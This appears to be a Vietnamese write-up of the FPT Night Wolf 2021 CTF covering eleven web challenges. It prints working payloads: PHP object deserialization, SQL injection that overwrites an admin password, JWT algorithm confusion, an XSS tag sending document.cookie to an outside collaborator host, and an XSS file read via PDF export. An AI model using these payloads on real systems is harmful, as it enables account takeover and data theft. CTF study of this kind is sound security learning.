FPT Night Wolf CTF Writeup
Lần cuối cùng mình chơi CTF chắc là giải SVATTT2020 và ISITDTU2020, và đây là giải CTF đầu tiên mình chơi trong năm 2021.
Không dài dòng nữa, bắt đầu nào!
1. HelloCTF
View-source, Ctrl+F search format flag FNW
ta có flag:
FNW_CTF{Hello_cTf}
- Bài này chắc là SantityCheck để mọi người đều có tên trên bxh.
2. phpder
Qua bước enumeration, ta có được file code backup.zip.
Sau khi đọc code, phát hiện lỗi PHP Object Deserialization tại authentication.php:
Với class access_log, chúng ta thấy function __toString() gọi tới function read_log(). Khi server unserialize một object, mặc định sẽ khởi tạo một instance mới của object đó, khi đó những magic method như __toString() ở trên sẽ được gọi tới.
Vậy chúng ta chỉ cần gán file cần đọc vào trong biến $log_file thì sẽ đọc được file theo ý muốn.
Ta biết được cách tạo ra object của server, từ đó viết một đoạn mã php sử dụng để tạo một object chứa payload.
Chạy file php và gen được payload: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo4OiJmbGFnLnR4dCI7fQ%3D%3D
Truy cập link, tạo cookie mới tên login
, giá trị là payload vừa tạo, ta có flag:
FNW_CTF{pHp_0bj4ct_inj4ct10n_vu1n}
- Bài này được lấy ý tưởng từ bài SuperSerial của PicoCTF2021.
- Khi dùng tool dirsearch để enumerate, thấy file
users.db
Không biết tác giả cố tình hay cố ý nữa.
- Tình cờ là mình đã chữa bài này trong một buổi sinh hoạt EHC, mấy đứa không làm được tự kiểm điểm lại nhé T.T
3. whitespace
Đi tới link, kiểm tra một số lỗ hổng thường gặp, có vẻ như id
bị SQL Injection.
Sử dụng tool sqlmap để tiến hành khai thác, vì tên đề bài là whitespace
nên tỉ lệ cao là dấu cách đã bị chặn. Sử dụng một module trong sqlmap có tên gọi là tamper bypass.
Tìm kiếm flag trong database:
FNW_CTF{34sy_byp4ss_sql_1njection_f1lt3r_sp4c3}
4. dns_tool
Nhập thử 8.8.8.8, ta thấy được server sử dụng dig command để lookup DNS.
Tra manuals của dig, ta thấy có một tính năng -f
cho phép đọc file.
Ví dụ muốn tìm kiếm trong directory / chúng ta sẽ sử dụng command
-f /*
Kết quả thu được:
payload cuối cùng:
Flag:
FNW_CTF{rC3_f0rm_d1G}
5. Crashed
Đăng kí một tài khoản và đăng nhập:
Thấy trong cookies có JWT token, sử dụng link để decode JWT
Nhận thấy trong Payload data có public key, sau khi tìm hiểu về các lỗi của JWT với public key, tìm được:
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016–5431/CVE-2016–10555)
Tìm thấy tool TokenBreaker giúp thực hiện khai thác:
Tạo một JWT Token với username là admin:
Vậy chúng ta có thể kiểm soát một tài khoản bất kí, nhưng vẫn chưa thấy flag dù đăng nhập với nick admin hay developers.
Sau một hồi fuzzing, ta thấy với user admin'
sẽ xảy ra lỗi:
Vậy có thể có lỗi SQL Injection tại username
Viết một đoạn script để khai thác lỗi.
Flag:
FNW_CTF{cR4shed_w1Th_jWt}
- public key có thể lấy trong link
- Dùng dirsearch mình có thấy path /views
làm mình bị lệch hướng qua SSTI :(
6. Simple Notepad
Sử dụng tool dirsearch để tìm kiếm path thấy file admin.db
Có được secretToken 2SPKTm
Tạo một note với content là 1
để lấy hash 417c12225912f7c0bab88af50baf8d07f0316e994decb2c00bc113d8c277ddf8
Sử dụng tool hashcat để crack hash với secretToken.
Vì hash là SHA256, tìm thấy một bài trên diễn đàn hashcat phân tích crack SHA256.
hashcat -m 1410 -a 0 417c12225912f7c0bab88af50baf8d07f0316e994decb2c00bc113d8c277ddf8:2SPKTm [dict]
ở đây dict mình sử dụng là rockyou.txt
Kết quả thu được
Vậy ta đã biết được quy luật gen hash:
hash=SHA256(id+secret)
Đọc flag với hash tương ứng với id = 1:
Flag:
FNW_CTF{BAC_Never_Di3}
- Bài này theo ý kiến của mình khá là guessing, nếu ko có hint về extension database thì có lẽ mình cũng không làm được.
- Tham khảo source code gốc từ WECTF2020 nhưng lỗi khai thác thì khác với 3 bài gốc.
7. xsmb
Sau khi fuzzing vào number thấy payload ${7*7}
cho ra output là 49.
sVậy đây mới là challenge có lỗ hổng SSTI.
Link payload khai thác.
Flag:
FNW_CTF{sSt1_2_rCe}
- Vì ngày trước mình có ra đề PyJail cho FPT Uni Secathon một lần nên mình đã nghĩ bài này filter nhiều.
- Vì tự làm khó vấn đề nên payload của mình rất dài, nhưng qua đó mình cũng học được một số trick mà trước chưa biết từ bài writeup của một giải khác.
- Cảm ơn một người bạn tên Husky giấu tên đã fuzzing nốt đoạn cuối bị stuck hộ mình.
- Bài này bản thân là Mako Template nhưng có vẻ mình ko sử dụng được payload cho Mako :?
- Bài này mình đã mất cả đêm để nghĩ (từ 2h đêm -7h sáng), lâu lắm mới try hard vậy.
- Chắc nhiều bạn sẽ có payload dễ hơn của mình nhiều ai giải được hãy tự viết writeup để mình tham khảo :D
8. acctov
Sau hint thứ 3: Unicode transformation hack
thì mọi chuyện đã quá rõ ràng rồi, viết một đoạn script để lấy mật khẩu của tài khoản admin
Đăng nhập vào admin
với mật khẩu vừa reset.
Lấy flag tại /admin
:
FNW_CTF{Dep_Zai_Never_Sai}
- Lúc đầu mình nghĩ flag ở
/note/1
, làm mất rất nhiều thời gian mới thấy flag dù đã đăng nhập thành công vào tài khoản admin. - Bài khá giống ý tưởng của bài web02 trong cuộc thi FPT Uni Secathon ss1.
9. Chat
Đăng kí một tài khoản và chat với admin-ctf.
Nhận thấy challenge có bật debug mode của Django. Có thể đây là hint của tác giả:
Thấy trong debug log có link github.io của tác giả, có một đoạn javascript tác giả thêm ngay trước lúc đề được release:
Vậy có thể đây là một hint, sử dụng BurpSuite Collaborator Client, gửi payload cho admin-ctf
<img src=’http://mmcz4yorxt45wno452rp8rag97f53u.burpcollaborator.net/'+(document.cookie);/>
Thấy có back-connect ngược lại:
Vậy chúng ta có thể lấy được cookies từ admin-ctf bằng XSS :?
Nhưng gửi rất nhiều payload lên lại không nhận được cookie của admin, vậy có thể bên server đã sử dụng CSP để chặn XSS.
Kiểm tra CSP header trong response:
Vậy CSP policy cho phép những domain từ *.github.io.
Tạo một file payload trên github.io
Sử dụng webhook để bắt request gửi tới.
Gửi payload thông qua chat với admin:
<script src=’https://doantung99.github.io/exploit.js'>
Webhook nhận request:
Flag:
Flag=FNW_CTF{sT0r3ed_xSs_f0r_fun}
10. PDF
Sau một hồi kiểm tra các function trên trang web, chỉ có function gửi contact về admin và xem product hoạt động.
Tại /product
bị SQL Injection. Sử dụng sqlmap để lấy khai thác:
Nhận thấy tài khoản hoavt11@fsoft.com.vn có role admin, sử dụng sql-shell để sửa mật khẩu của tài khoản admin:
select * from products where id = 1 union select 1,group_concat(password),3,4,5fromusers;updateuserssetpassword=”2aaba408ea331d4f91fe52995e9428c59cee82c9" —
Đăng nhập với tài khoản hoavt11@fsoft.com.vn/b
ta vào được admin portal:
Thấy ở mục contacts có thể export ra file pdf. Vì tên challenge là pdf
nên chắc sẽ khai thác được ở đây.
Sau một hồi tìm kiếm cách thức tấn công, tìm được một bài báo có thể khả thi. Sử dụng nốt function contact admin còn lại để gửi payload lên:
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(“GET”,”file:///home/flag”);x.send();</script>
Export pdf và ta có flag:
FNW_CTF{L0c4l_F1l3_R34d_v14_XSS_1n_Dyn4m1c4lly_G3n3r4t3d_PDF}
- Một challenge khá hay đến từ người em Antoine Nguyễn :D
11. fpt shop 1
Tải source code về audit, thấy trong file OrderController.php
Sau khi đọc code, muốn mua được flag ta phải thỏa mãn điều kiện
total Cart ≤ 0
, nghĩa là tổng số tiền trong giỏ hàng khi mua flag phải ≤ 0. Vậy chúng ta hoàn toàn có thể mua flag cùng với 1 vài món đồ khác với số lượng âm để có một giỏ hàng số tiền âm:
Thanh toán và xem order vừa mua:
Flag:
FNW_CTF{CSRF_Maybe_Hard}
- Bài này 2 hint nhưng có vẻ không cần thiết :? không biết đây là gợi ý cho fpt shop 2 hay là cách của mình unintended nữa.
- Có một điều hay là ở function order này bị IDOR, người khác hoàn toàn có thể xem order của mình để lấy flag :?
Đó là tất cả challenge mình giải được trong 2 ngày thi vừa qua, còn fpt shop 2 mình sẽ cố giải nốt nếu rảnh :D
Qua cuộc thi lần này mình cũng học được kha khá thứ mới, cảm ơn SAS đã mang tới những challenge thú vị. GGWP everyone!